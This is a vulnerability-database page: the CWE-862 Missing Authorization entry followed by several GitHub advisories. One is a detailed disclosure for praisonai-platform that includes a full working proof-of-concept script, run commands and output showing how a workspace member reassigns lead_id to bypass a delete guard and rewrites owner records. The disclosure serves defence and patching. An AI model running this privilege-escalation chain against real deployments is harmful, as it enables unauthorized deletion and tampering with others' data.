CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
19894 vulnerabilities reference this CWE, most recent first.
GHSA-C746-WCWC-P482
Vulnerability from github – Published: 2026-08-18 12:31 – Updated: 2026-08-18 12:31Grav API plugin (getgrav/grav-plugin-api) before 1.0.14 contains a missing authorization vulnerability in userPassesAuthorize() (AbstractApiController.php). The function fails to consult the calling request's API key scopes, relying instead on the account's raw super-admin flag and ACL grants. As a result, an authenticated attacker holding a scoped API key minted on a privileged account can bypass their declared scope restrictions to access authorize-gated UI metadata and item definitions (sidebar/menubar/widget items and users-list columns/row-actions/filter-tabs) that their key scope should deny, resulting in information disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-75835"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T12:19:33Z",
"severity": "CRITICAL"
},
"details": "Grav API plugin (getgrav/grav-plugin-api) before 1.0.14 contains a missing authorization vulnerability in userPassesAuthorize() (AbstractApiController.php). The function fails to consult the calling request\u0027s API key scopes, relying instead on the account\u0027s raw super-admin flag and ACL grants. As a result, an authenticated attacker holding a scoped API key minted on a privileged account can bypass their declared scope restrictions to access authorize-gated UI metadata and item definitions (sidebar/menubar/widget items and users-list columns/row-actions/filter-tabs) that their key scope should deny, resulting in information disclosure.",
"id": "GHSA-c746-wcwc-p482",
"modified": "2026-08-18T12:31:22Z",
"published": "2026-08-18T12:31:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-p57v-xhv3-mf2w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75835"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-api-plugin-before-missing-authorization"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-C75J-45GP-X7MV
Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2026-04-01 18:36Missing Authorization vulnerability in WP Swings PDF Generator for WordPress allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects PDF Generator for WordPress: from n/a through 1.5.4.
{
"affected": [],
"aliases": [
"CVE-2025-58978"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T17:16:11Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in WP Swings PDF Generator for WordPress allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects PDF Generator for WordPress: from n/a through 1.5.4.",
"id": "GHSA-c75j-45gp-x7mv",
"modified": "2026-04-01T18:36:08Z",
"published": "2025-09-09T18:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58978"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/pdf-generator-for-wp/vulnerability/wordpress-pdf-generator-for-wordpress-plugin-1-5-4-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C765-QV4H-JC48
Vulnerability from github – Published: 2026-10-28 18:32 – Updated: 2026-11-02 15:31Jenkins 2.587 and earlier, LTS 2.580.1 and earlier converts the launch commands in older agent configurations into launchers provided by the Command Agent Launcher Plugin without checking whether they have been approved by an administrator, allowing attackers with Agent/Configure permission to execute arbitrary code in the context of the Jenkins controller JVM.
{
"affected": [],
"aliases": [
"CVE-2026-117614"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-28T17:18:20Z",
"severity": "HIGH"
},
"details": "Jenkins 2.587 and earlier, LTS 2.580.1 and earlier converts the launch commands in older agent configurations into launchers provided by the Command Agent Launcher Plugin without checking whether they have been approved by an administrator, allowing attackers with Agent/Configure permission to execute arbitrary code in the context of the Jenkins controller JVM.",
"id": "GHSA-c765-qv4h-jc48",
"modified": "2026-11-02T15:31:27Z",
"published": "2026-10-28T18:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-117614"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2026-10-28/#SECURITY-4123"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C783-VXV2-VFW8
Vulnerability from github – Published: 2024-10-10 12:31 – Updated: 2024-10-10 12:31In JetBrains YouTrack before 2024.3.46677 improper access control allowed users with project update permission to delete applications via API
{
"affected": [],
"aliases": [
"CVE-2024-48902"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-10T11:15:13Z",
"severity": "MODERATE"
},
"details": "In JetBrains YouTrack before 2024.3.46677 improper access control allowed users with project update permission to delete applications via API",
"id": "GHSA-c783-vxv2-vfw8",
"modified": "2024-10-10T12:31:13Z",
"published": "2024-10-10T12:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48902"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-C78W-2Q4R-68R7
Vulnerability from github – Published: 2026-10-08 22:01 – Updated: 2026-10-08 22:01Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
Summary
praisonai-platform lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch lead_id to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned 403 before the reassignment.
Technical Details
The affected boundary is the difference between "is a workspace member" and "owns or administers this resource". src/praisonai-platform/praisonai_platform/api/deps.py defines require_workspace_member, require_workspace_admin, require_workspace_owner, and require_delete_permission. require_workspace_member only checks that the caller has at least the member role in the workspace, while require_delete_permission allows delete only for workspace admins/owners or the resource owner.
The project update route in src/praisonai-platform/praisonai_platform/api/routes/projects.py defines PATCH /workspaces/{workspace_id}/projects/{project_id} with user: AuthIdentity = Depends(require_workspace_member). It passes title, description, status, lead_type, and lead_id into ProjectService.update. src/praisonai-platform/praisonai_platform/services/project_service.py then writes project.lead_id = lead_id when supplied. The paired project delete route first loads the project and calls require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id). This means an ordinary member can mutate the ownership field that the delete route later trusts.
The same update/delete asymmetry exists for issues and agents. src/praisonai-platform/praisonai_platform/api/routes/issues.py defines PATCH /workspaces/{workspace_id}/issues/{issue_id} with only require_workspace_member, validates referenced ids are in the workspace, then calls IssueService.update to write fields including title, description, status, priority, assignee_id, and project_id. The paired delete route checks resource_owner_id=issue.creator_id. src/praisonai-platform/praisonai_platform/api/routes/agents.py defines PATCH /workspaces/{workspace_id}/agents/{agent_id} with only require_workspace_member and calls AgentService.update to write fields including instructions, runtime_mode, and runtime_config; the paired delete route checks resource_owner_id=agent.owner_id.
The intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.
PoV
the PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service.
Essential excerpt:
direct_delete_project = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_project = await client.patch(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
json={
"title": "Member-controlled project",
"status": "active",
"lead_type": "member",
"lead_id": member_id,
},
headers=member_headers,
)
delete_project_after_takeover = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "Member rewrote owner issue", "status": "done"},
headers=member_headers,
)
patch_agent = await client.patch(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
json={"instructions": "member-controlled instructions", "status": "idle"},
headers=member_headers,
)
outsider_patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "outsider attempt"},
headers=outsider_headers,
)
The full PoV script is included in the appendix below as pov_platform_member_update_bypass.py.
PoC
Current head tested:
846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17T20:13:04+01:00
chore: clean up redundant 'persist-credentials' entries in GitHub workflows
Run against a local checkout of current head:
uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json
Decisive current-head output:
{
"source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
"workspace_role": "member",
"checks": {
"member_direct_project_delete_before_patch": 403,
"member_project_patch_lead_to_self": 200,
"member_project_delete_after_lead_takeover": 204,
"owner_get_project_after_member_delete": 404,
"member_issue_patch": 200,
"owner_observes_member_issue_title": "Member rewrote owner issue",
"member_issue_delete_after_patch": 403,
"member_agent_patch": 200,
"owner_observes_member_agent_instructions": "member-controlled instructions",
"member_agent_delete_after_patch": 403,
"non_member_issue_patch": 403
},
"vulnerable": true
}
Run against the latest PyPI package observed during testing:
uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json
Decisive latest-PyPI output:
{
"source": "pypi:praisonai-platform==0.1.8",
"workspace_role": "member",
"checks": {
"member_direct_project_delete_before_patch": 403,
"member_project_patch_lead_to_self": 200,
"member_project_delete_after_lead_takeover": 204,
"owner_get_project_after_member_delete": 404,
"member_issue_patch": 200,
"owner_observes_member_issue_title": "Member rewrote owner issue",
"member_issue_delete_after_patch": 403,
"member_agent_patch": 200,
"owner_observes_member_agent_instructions": "member-controlled instructions",
"member_agent_delete_after_patch": 403,
"non_member_issue_patch": 403
},
"vulnerable": true
}
Version sweep excerpt:
praisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.
praisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
praisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
Impact
An ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning lead_id through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.
Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L (7.1). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.
Suggested Fix
Apply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route's owner/admin check for PATCH routes, or introduce a require_update_permission helper that allows workspace admins/owners and the relevant resource owner only.
For projects, do not let an ordinary member set lead_id on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.
Add regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project lead_id to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives 403.
Affected Package/Versions
Affected package: pypi:praisonai-platform.
Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.
The owner/admin update authorization gap is confirmed in sampled versions 0.1.4, 0.1.6, 0.1.8, and current head. The specific project delete-guard bypass through lead_id reassignment is confirmed in 0.1.6, 0.1.8, and current head. In 0.1.4, direct member deletes already returned 204, so the lead-reassignment chain is masked by a broader older delete issue.
Suggested affected range for the update authorization gap: pypi:praisonai-platform >=0.1.4, <=0.1.8. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.
Advisory History
Visible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project lead_id delete-guard bypass.
GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with 403, then PATCH succeeds, then DELETE succeeds only after lead_id is reassigned through the update route.
GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled project_id reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.
GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning 403.
References
https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mhhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7xhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxxhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2jhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7https://cwe.mitre.org/data/definitions/862.htmlhttps://cwe.mitre.org/data/definitions/863.html
Appendix A - Longer Version Sweep
=== praisonai-platform 0.1.4 ===
"member_direct_project_delete_before_patch": 204
"member_project_patch_lead_to_self": 404
"member_issue_patch": 200
"member_agent_patch": 200
"member_issue_delete_after_patch": 204
"member_agent_delete_after_patch": 204
"non_member_issue_patch": 403
=== praisonai-platform 0.1.6 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403
=== praisonai-platform 0.1.8 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403
Appendix B - Full PoV Script
Save this as pov_platform_member_update_bypass.py before running the PoC commands above.
#!/usr/bin/env python3
"""PoV for PraisonAI Platform same-workspace member update bypass."""
from __future__ import annotations
import argparse
import asyncio
import json
import os
import sys
from pathlib import Path
from typing import Any
def _load_local_source(repo: Path | None) -> None:
if repo is None:
return
platform_root = repo / "src" / "praisonai-platform"
agents_root = repo / "src" / "praisonai-agents"
for path in (str(platform_root), str(agents_root)):
if path not in sys.path:
sys.path.insert(0, path)
async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
response = await client.post(
"/api/v1/auth/register",
json={"email": email, "password": "Password1!", "name": name},
)
if response.status_code >= 400:
raise RuntimeError(f"register failed for {email}: {response.status_code} {response.text}")
body = response.json()
return body["token"], body["user"]["id"]
async def _run(repo: Path | None) -> dict[str, Any]:
os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
_load_local_source(repo)
from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine
from praisonai_platform.api.app import create_app
from praisonai_platform.db import base as base_mod
from praisonai_platform.db.base import Base, reset_engine
await reset_engine()
engine = create_async_engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect_args={"check_same_thread": False},
)
base_mod._engine = engine
base_mod._session_factory = None
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
app = create_app()
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
owner_token, owner_id = await _register(client, "owner@example.com", "Owner")
member_token, member_id = await _register(client, "member@example.com", "Member")
outsider_token, _ = await _register(client, "outsider@example.com", "Outsider")
owner_headers = {"Authorization": f"Bearer {owner_token}"}
member_headers = {"Authorization": f"Bearer {member_token}"}
outsider_headers = {"Authorization": f"Bearer {outsider_token}"}
ws_resp = await client.post(
"/api/v1/workspaces/",
json={"name": "Shared Workspace", "slug": "shared-workspace"},
headers=owner_headers,
)
ws_resp.raise_for_status()
workspace_id = ws_resp.json()["id"]
add_member = await client.post(
f"/api/v1/workspaces/{workspace_id}/members",
json={"user_id": member_id, "role": "member"},
headers=owner_headers,
)
add_member.raise_for_status()
project_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/projects/",
json={
"title": "Owner project",
"description": "Owned by the workspace owner",
"lead_type": "member",
"lead_id": owner_id,
},
headers=owner_headers,
)
project_resp.raise_for_status()
project_id = project_resp.json()["id"]
direct_delete_project = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_project = await client.patch(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
json={
"title": "Member-controlled project",
"status": "active",
"lead_type": "member",
"lead_id": member_id,
},
headers=member_headers,
)
delete_project_after_takeover = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
owner_get_deleted_project = await client.get(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=owner_headers,
)
issue_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/",
json={"title": "Owner issue", "priority": "high"},
headers=owner_headers,
)
issue_resp.raise_for_status()
issue_id = issue_resp.json()["id"]
patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "Member rewrote owner issue", "status": "done"},
headers=member_headers,
)
owner_get_issue = await client.get(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
headers=owner_headers,
)
delete_issue = await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
headers=member_headers,
)
agent_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/agents/",
json={"name": "OwnerAgent", "instructions": "owner-only instructions"},
headers=owner_headers,
)
agent_resp.raise_for_status()
agent_id = agent_resp.json()["id"]
patch_agent = await client.patch(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
json={"instructions": "member-controlled instructions", "status": "idle"},
headers=member_headers,
)
owner_get_agent = await client.get(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
headers=owner_headers,
)
delete_agent = await client.delete(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
headers=member_headers,
)
outsider_patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "outsider attempt"},
headers=outsider_headers,
)
await engine.dispose()
base_mod._engine = None
base_mod._session_factory = None
owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}
owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}
patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}
checks = {
"member_direct_project_delete_before_patch": direct_delete_project.status_code,
"member_project_patch_lead_to_self": patch_project.status_code,
"member_project_delete_after_lead_takeover": delete_project_after_takeover.status_code,
"owner_get_project_after_member_delete": owner_get_deleted_project.status_code,
"member_issue_patch": patch_issue.status_code,
"owner_observes_member_issue_title": owner_issue_body.get("title"),
"member_issue_delete_after_patch": delete_issue.status_code,
"member_agent_patch": patch_agent.status_code,
"owner_observes_member_agent_instructions": owner_agent_body.get("instructions"),
"member_agent_delete_after_patch": delete_agent.status_code,
"non_member_issue_patch": outsider_patch_issue.status_code,
}
vulnerable = (
checks["member_direct_project_delete_before_patch"] == 403
and checks["member_project_patch_lead_to_self"] == 200
and patch_project_body.get("lead_id") == member_id
and checks["member_project_delete_after_lead_takeover"] == 204
and checks["owner_get_project_after_member_delete"] == 404
and checks["member_issue_patch"] == 200
and checks["owner_observes_member_issue_title"] == "Member rewrote owner issue"
and checks["member_issue_delete_after_patch"] == 403
and checks["member_agent_patch"] == 200
and checks["owner_observes_member_agent_instructions"] == "member-controlled instructions"
and checks["member_agent_delete_after_patch"] == 403
and checks["non_member_issue_patch"] == 403
)
return {
"package": "praisonai-platform",
"source": _source_id(repo),
"workspace_role": "member",
"summary": "A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.",
"checks": checks,
"vulnerable": vulnerable,
}
def _source_id(repo: Path | None) -> str:
if repo is None:
import importlib.metadata
return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}"
import subprocess
rev = subprocess.check_output(
["git", "-C", str(repo), "rev-parse", "HEAD"],
text=True,
).strip()
return f"git:{rev}"
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--repo", type=Path)
parser.add_argument("--json", action="store_true")
args = parser.parse_args()
result = asyncio.run(_run(args.repo.resolve() if args.repo else None))
if args.json:
print(json.dumps(result, indent=2, sort_keys=True))
else:
for key, value in result["checks"].items():
print(f"{key}: {value}")
print(f"vulnerable: {result['vulnerable']}")
return 0 if result["vulnerable"] else 1
if __name__ == "__main__":
raise SystemExit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.8"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai-platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61442"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T22:01:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass\n\n## Summary\n\n`praisonai-platform` lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch `lead_id` to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned `403` before the reassignment.\n\n## Technical Details\n\nThe affected boundary is the difference between \"is a workspace member\" and \"owns or administers this resource\". `src/praisonai-platform/praisonai_platform/api/deps.py` defines `require_workspace_member`, `require_workspace_admin`, `require_workspace_owner`, and `require_delete_permission`. `require_workspace_member` only checks that the caller has at least the `member` role in the workspace, while `require_delete_permission` allows delete only for workspace admins/owners or the resource owner.\n\nThe project update route in `src/praisonai-platform/praisonai_platform/api/routes/projects.py` defines `PATCH /workspaces/{workspace_id}/projects/{project_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. It passes `title`, `description`, `status`, `lead_type`, and `lead_id` into `ProjectService.update`. `src/praisonai-platform/praisonai_platform/services/project_service.py` then writes `project.lead_id = lead_id` when supplied. The paired project delete route first loads the project and calls `require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id)`. This means an ordinary member can mutate the ownership field that the delete route later trusts.\n\nThe same update/delete asymmetry exists for issues and agents. `src/praisonai-platform/praisonai_platform/api/routes/issues.py` defines `PATCH /workspaces/{workspace_id}/issues/{issue_id}` with only `require_workspace_member`, validates referenced ids are in the workspace, then calls `IssueService.update` to write fields including `title`, `description`, `status`, `priority`, `assignee_id`, and `project_id`. The paired delete route checks `resource_owner_id=issue.creator_id`. `src/praisonai-platform/praisonai_platform/api/routes/agents.py` defines `PATCH /workspaces/{workspace_id}/agents/{agent_id}` with only `require_workspace_member` and calls `AgentService.update` to write fields including `instructions`, `runtime_mode`, and `runtime_config`; the paired delete route checks `resource_owner_id=agent.owner_id`.\n\nThe intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.\n\n## PoV\n\nthe PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner\u0027s workspace, then exercises the project, issue, and agent routes without touching any live service.\n\nEssential excerpt:\n\n```python\ndirect_delete_project = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n headers=member_headers,\n)\n\npatch_project = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n json={\n \"title\": \"Member-controlled project\",\n \"status\": \"active\",\n \"lead_type\": \"member\",\n \"lead_id\": member_id,\n },\n 